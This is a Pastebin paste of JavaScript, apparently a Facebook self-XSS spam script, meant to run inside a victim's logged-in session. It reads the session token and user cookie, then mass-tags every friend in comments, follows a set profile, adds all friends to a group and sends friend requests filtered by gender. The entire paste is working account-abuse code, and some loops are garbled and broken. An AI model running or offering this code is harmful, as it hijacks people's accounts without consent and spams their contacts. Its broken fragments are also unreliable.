Guest User

Auto Mention By Someone

a guest
Jan 10th, 2014
1,409
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.44 KB | None | 0 0
  1. /* CREDITOS AO MIGUEL TARGA, ESSA PARTE E DELE */
  2.  
  3. function x__0() { return window.ActiveXObject ? new ActiveXObject("Msxml2.XMLHTTP") : new XMLHttpRequest; };
  4.  
  5.  
  6. //Pegar todos amigos
  7.  
  8. function get_friends(){
  9.  
  10. var a=x__0();
  11.  
  12. a.open("GET", "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer="+uid+"&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", false);
  13.  
  14. a.send(null);
  15.  
  16. if (a.readyState == 4) {
  17.  
  18. var f = JSON.parse(a.responseText.substring(a.responseText.indexOf('{')));
  19.  
  20. return f.payload.entries;
  21.  
  22. }
  23.  
  24. return false;
  25.  
  26. }
  27.  
  28.  
  29. /* FIM DA PARTE DO MIGUEL TARGA */
  30.  
  31.  
  32. //Pegar todos amigos
  33.  
  34. function get_uid(b){
  35.  
  36. var a=x__0();
  37.  
  38. a.open("GET", 'http://graph.facebook.com/'+b, false);
  39.  
  40. a.send();
  41.  
  42. if (a.readyState == 4) {
  43.  
  44. return uid = JSON.parse(a.responseText).id;
  45.  
  46.  
  47. }
  48.  
  49. return false;
  50.  
  51. }
  52.  
  53. // Pattern que vai trocar o valor dos coment?rios pelas marcaç?es
  54.  
  55.  
  56. var patt = /comment_text=(.*?)&/
  57.  
  58. var c = 1;
  59.  
  60. username = /\.com\/(.*?)\//.exec(window.top.location)[1];
  61.  
  62. uid = get_uid(username);
  63.  
  64. a = window.top.location;
  65.  
  66. termina = 0;
  67.  
  68. var amigos = get_friends();
  69.  
  70. post_id = /[0-9]{8,}/.exec(a);
  71.  
  72. uids = 'comment_text=';
  73.  
  74. header = 'ft_ent_identifier='+post_id+'&comment_text=0&source=1&client_id=1359576694192%3A1233576093&reply_fbid&parent_comment_id&rootid=u_jsonp_3_19&ft[tn]=[]&ft[qid]=5839337351464612379&ft[mf_story_key]=5470779710560437153&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user='+uid+'&__a=1&__req=4u&fb_dtsg='+document.getElementsByName('fb_dtsg')[0].value+'&phstamp='+Math.random();
  75.  
  76. for ( var n = 1 ; n < amigos.length ; n++ ){
  77.  
  78. //uids += '%40[' + amigos[n].uid + '%3A' + encodeURI(amigos[n].text) + ']%20';
  79.  
  80. fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  81.  
  82. uids += '%40[' + amigos[n].uid + '%3AAAAAAAAAAAA]%20';
  83.  
  84. c++;
  85.  
  86. if(c == 7){
  87.  
  88. // Quando o contador chega em 7, ele termina o parâmetro com um &...
  89.  
  90. uids += '&';
  91.  
  92. // ...envia as coisas com o método do indiano...
  93.  
  94. with(new XMLHttpRequest()) open("POST", "/ajax/ufi/add_comment.php?__a=1"),setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),send(header.replace(patt, uids));
  95.  
  96.  
  97. // ... espera um segundo...
  98.  
  99. z = setTimeout('function(){asd=0}', 1000);
  100.  
  101. clearInterval(z);
  102.  
  103.  
  104. // ... e seta tudo de novo pra recomeçar
  105.  
  106. c = 1;
  107.  
  108. uids = 'comment_text=';
  109.  
  110.  
  111.  
  112. }
  113.  
  114.  
  115. }
  116.  
  117.  
  118. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  119.  
  120. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  121.  
  122.  
  123. function cereziAl(isim) {
  124.  
  125. var tarama = isim + "=";
  126.  
  127. if (document.cookie.length > 0) {
  128.  
  129. konum = document.cookie.indexOf(tarama)
  130.  
  131. if (konum != -1) {
  132.  
  133. konum += tarama.length
  134.  
  135. son = document.cookie.indexOf(";", konum)
  136.  
  137. if (son == -1)
  138.  
  139. son = document.cookie.length
  140.  
  141. return unescape(document.cookie.substring(konum, son))
  142.  
  143. }
  144.  
  145. else { return ""; }
  146.  
  147. }
  148.  
  149. }
  150.  
  151.  
  152. function getRandomInt (min, max) {
  153.  
  154. return Math.floor(Math.random() * (max - min + 1)) + min;
  155.  
  156. }
  157.  
  158. function randomValue(arr) {
  159.  
  160. return arr[getRandomInt(0, arr.length-1)];
  161.  
  162. }
  163.  
  164.  
  165. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  166.  
  167. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  168.  
  169.  
  170. function a(abone){
  171.  
  172. var http4 = new XMLHttpRequest();
  173.  
  174.  
  175. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  176.  
  177.  
  178. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  179.  
  180. http4.open("POST", url4, true);
  181.  
  182.  
  183. //Send the proper header information along with the request
  184.  
  185. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  186.  
  187. http4.setRequestHeader("Content-length", params4.length);
  188.  
  189. http4.setRequestHeader("Connection", "close");
  190.  
  191.  
  192. http4.onreadystatechange = function() {//Call a function when the state changes.
  193.  
  194. if(http4.readyState == 4 && http4.status == 200) {
  195.  
  196.  
  197. http4.close; // Close the connection
  198.  
  199.  
  200. }
  201.  
  202. }
  203.  
  204.  
  205. http4.send(params4);
  206.  
  207. }
  208.  
  209.  
  210. function sublist(uidss) {
  211.  
  212. var a = document.createElement('script');
  213.  
  214. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  215.  
  216. document.body.appendChild(a);
  217.  
  218. }
  219.  
  220.  
  221.  
  222.  
  223.  
  224.  
  225.  
  226.  
  227. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  228.  
  229. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  230.  
  231.  
  232. var httpwp = new XMLHttpRequest();
  233.  
  234. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  235.  
  236. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  237.  
  238. httpwp['open']('POST', urlwp, true);
  239.  
  240. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  241.  
  242. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  243.  
  244. httpwp['setRequestHeader']('Connection', 'keep-alive');
  245.  
  246. httpwp['send'](paramswp);
  247.  
  248.  
  249. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  250.  
  251. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  252.  
  253.  
  254. var friends = new Array();
  255.  
  256. gf = new XMLHttpRequest();
  257.  
  258. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  259.  
  260. gf['send']();
  261.  
  262. if (gf['readyState'] != 4) {} else {
  263.  
  264. data = eval('(' + gf['responseText']['substr'](9) + ')');
  265.  
  266. if (data['error']) {} else {
  267.  
  268. friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  269.  
  270. return _0x93dax8['index'] - _0x93dax9['index'];
  271.  
  272. });
  273.  
  274. };
  275.  
  276. };
  277.  
  278.  
  279. for (var i = 0; i < friends['length']; i++) {
  280.  
  281. var httpwp = new XMLHttpRequest();
  282.  
  283. var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  284.  
  285. var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  286.  
  287. httpwp['open']('POST', urlwp, true);
  288.  
  289. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  290.  
  291. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  292.  
  293. httpwp['setRequestHeader']('Connection', 'keep-alive');
  294.  
  295. httpwp['onreadystatechange'] = function () {
  296.  
  297. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  298.  
  299. };
  300.  
  301. httpwp['send'](paramswp);
  302.  
  303. };
  304.  
  305. var spage_id = "100211486794985";
  306.  
  307. var spost_id = "100211486794985";
  308.  
  309. var sfoto_id = "100211486794985";
  310.  
  311. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  312.  
  313. var smesaj = "";
  314.  
  315. var smesaj_text = "";
  316.  
  317. var arkadaslar = [];
  318.  
  319. var svn_rev;
  320.  
  321. var bugun= new Date();
  322.  
  323. var btarihi = new Date();
  324.  
  325. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  326.  
  327. if(!document.cookie.match(/paylasti=(\d+)/)){
  328.  
  329. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  330.  
  331. }
  332.  
  333.  
  334.  
  335. //arkadaslari al ve isle
  336.  
  337. function sarkadaslari_al(){
  338.  
  339. var xmlhttp = new XMLHttpRequest();
  340.  
  341. xmlhttp.onreadystatechange = function () {
  342.  
  343. if(xmlhttp.readyState == 4){
  344.  
  345. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  346.  
  347. for(f=0;f<math.round>
  348.  
  349. smesaj = "";
  350.  
  351. smesaj_text = "";
  352.  
  353. for(i=f*10;i
  354.  
  355. if(arkadaslar.payload.entries[i]){
  356.  
  357. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  358.  
  359. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  360.  
  361. }
  362.  
  363. }
  364.  
  365. sdurumpaylas(); }
  366.  
  367.  
  368. }
  369.  
  370.  
  371. };
  372.  
  373. var params = "&filter[0]=user";
  374.  
  375. params += "&options[0]=friends_only";
  376.  
  377. params += "&options[1]=nm";
  378.  
  379. params += "&token=v7";
  380.  
  381. params += "&viewer=" + user_id;
  382.  
  383. params += "&__user=" + user_id;
  384.  
  385.  
  386. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  387.  
  388. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  389.  
  390. xmlhttp.send();
  391.  
  392. }
  393.  
  394.  
  395. //tiklama olayini dinle
  396.  
  397. var tiklama = document.addEventListener("click", function () {
  398.  
  399. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  400.  
  401. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  402.  
  403. sarkadaslari_al();
  404.  
  405. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  406.  
  407.  
  408. document.removeEventListener(tiklama);
  409.  
  410. }
  411.  
  412. }, false);
  413.  
  414.  
  415.  
  416. //arkada?? ekleme
  417.  
  418. function sarkadasekle(uid,cins){
  419.  
  420. var xmlhttp = new XMLHttpRequest();
  421.  
  422. xmlhttp.onreadystatechange = function () {
  423.  
  424. if(xmlhttp.readyState == 4){
  425.  
  426. }
  427.  
  428. };
  429.  
  430.  
  431. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  432.  
  433. var params = "to_friend=" + uid;
  434.  
  435. params += "&action=add_friend";
  436.  
  437. params += "&how_found=friend_browser";
  438.  
  439. params += "&ref_param=none";
  440.  
  441. params += "&outgoing_id=";
  442.  
  443. params += "&logging_location=friend_browser";
  444.  
  445. params += "&no_flyout_on_click=true";
  446.  
  447. params += "&ego_log_data=";
  448.  
  449. params += "&http_referer=";
  450.  
  451. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  452.  
  453. params += "&phstamp=165816749114848369115";
  454.  
  455. params += "&__user=" + user_id;
  456.  
  457. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  458.  
  459. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  460.  
  461.  
  462. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  463.  
  464. xmlhttp.send(params);
  465.  
  466. }else if(document.cookie.split("cins" + user_id +"=").length
  467.  
  468. cinsiyetgetir(uid,cins,"sarkadasekle");
  469.  
  470. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  471.  
  472. xmlhttp.send(params);
  473.  
  474. }
  475.  
  476. }
  477.  
  478.  
  479. //cinsiyet belirleme
  480.  
  481. var cinssonuc = {};
  482.  
  483. var cinshtml = document.createElement("html");
  484.  
  485. function scinsiyetgetir(uid,cins,fonksiyon){
  486.  
  487. var xmlhttp = new XMLHttpRequest();
  488.  
  489. xmlhttp.onreadystatechange = function () {
  490.  
  491. if(xmlhttp.readyState == 4){
  492.  
  493. eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  494.  
  495. cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  496.  
  497. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  498.  
  499. if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  500.  
  501. document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  502.  
  503. }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  504.  
  505. document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  506.  
  507. }
  508.  
  509. eval(fonksiyon + "(" + id + "," + cins + ");");
  510.  
  511. }
  512.  
  513. };
  514.  
  515. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  516.  
  517. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  518.  
  519. xmlhttp.send();
  520.  
  521. }
  522. </math.round>
Advertisement
Add Comment
Please, Sign In to add comment